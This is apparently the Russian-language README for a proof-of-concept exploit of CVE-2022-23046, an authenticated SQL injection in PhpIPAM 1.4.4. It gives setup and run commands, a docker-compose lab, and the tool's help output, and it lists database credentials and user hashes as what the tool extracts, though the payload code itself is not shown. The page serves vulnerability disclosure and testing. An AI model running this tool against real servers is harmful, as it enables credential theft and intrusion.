
Эксплойт для доказательства концепции (PoC) для CVE-2022-23046, аутентифицированная SQL-инъекция в PhpIPAM v1.4.4. Извлекает информацию о сервере, настройки SMTP, хэши пользователей и учетные данные базы данных через конечную точку edit-bgp-mapping-search.php.
Оригинальное обнаружение и ручной PoC от Fluidattacks:
PhpIPAM v1.4.4 позволяет аутентифицированному администратору внедрять SQL-выражения в параметр "subnet" при поиске подсети через app/admin/routing/edit-bgp-mapping-search.php.
Этот PoC выполняет простые SQL-инъекции для получения следующей информации:
Некоторые из них доступны через бэкенд, но я добавил их сюда как простой способ получить всю информацию одним запросом. Не стесняйтесь добавлять/удалять свои собственные полезные нагрузки (payloads).
Для более продвинутых вещей создавайте свои собственные payloads (в res.payloads), используйте burpsuite или sqlmap.
git clone https://github.com/jcarabantes/CVE-2022-23046.git
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python CVE-2022-23046.py -h
version: '3'
services:
phpipam-web:
image: phpipam/phpipam-www:v1.4.3
ports:
- "8888:80"
environment:
- TZ=Europe/London
- IPAM_DATABASE_HOST=phpipam-mariadb
- IPAM_DATABASE_PASS=my_secret_phpipam_pass
- IPAM_DATABASE_WEBHOST=%
restart: unless-stopped
volumes:
- phpipam-logo:/phpipam/css/images/logo
depends_on:
- phpipam-mariadb
phpipam-cron:
image: phpipam/phpipam-cron:latest
ports:
- "8889:80"
environment:
- TZ=Europe/London
- IPAM_DATABASE_HOST=phpipam-mariadb
- IPAM_DATABASE_PASS=my_secret_phpipam_pass
- SCAN_INTERVAL=1h
restart: unless-stopped
depends_on:
- phpipam-mariadb
phpipam-mariadb:
image: mariadb:latest
environment:
- MYSQL_ROOT_PASSWORD=my_secret_mysql_root_pass
restart: unless-stopped
volumes:
- phpipam-db-data:/var/lib/mysql
volumes:
phpipam-db-data:
phpipam-logo:
python CVE-2022-23046.py -h
___ _ _ ____ ___ ___ ___ ___ ___ ___ ___ __ _
/ __)( \/ )( ___)___(__ \ / _ \(__ \ (__ \ ___(__ \ (__ ) / _ \ /. | / )
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _/(___)/ _/ (_ \( (_) )(_ _)/ _ \
\___) \/ (____) (____)\___/(____)(____) (____)(___/ \___/ (_) \___/
Vulnerability discovered by Oscar Uribe
PoC author: @javicarabantes
usage: CVE-2022-23046.py [-h] [-d] [-q] --url URL --user USER
optional arguments:
-h, --help show this help message and exit
-d Debug output
-q Do not print the banner
--url URL phpipam url: https://ipamserver:8081/
--user USER admin user
python CVE-2022-23046.py --url http://localhost:8888/ --user admin

Я тестировал этот PoC на разных версиях phpipam: 1.4.3, 1.4.4 и 1.5, и он работал нормально (не только на версиях ниже 1.4.5). Проверяя phpipam на GitHub, я увидел, что коммит 4b764b9cb236d1a4a06fc8ad9a93b306b3f5c04d также затронул версию 1.5
Проверьте, доступен ли CHANGELOG и содержит ли он комментарий об этом исправлении; в противном случае сервер phpipam может быть уязвимым.
curl -sk https://phpipamserver/misc/CHANGELOG | grep "edit-bgp-mapping-search.php"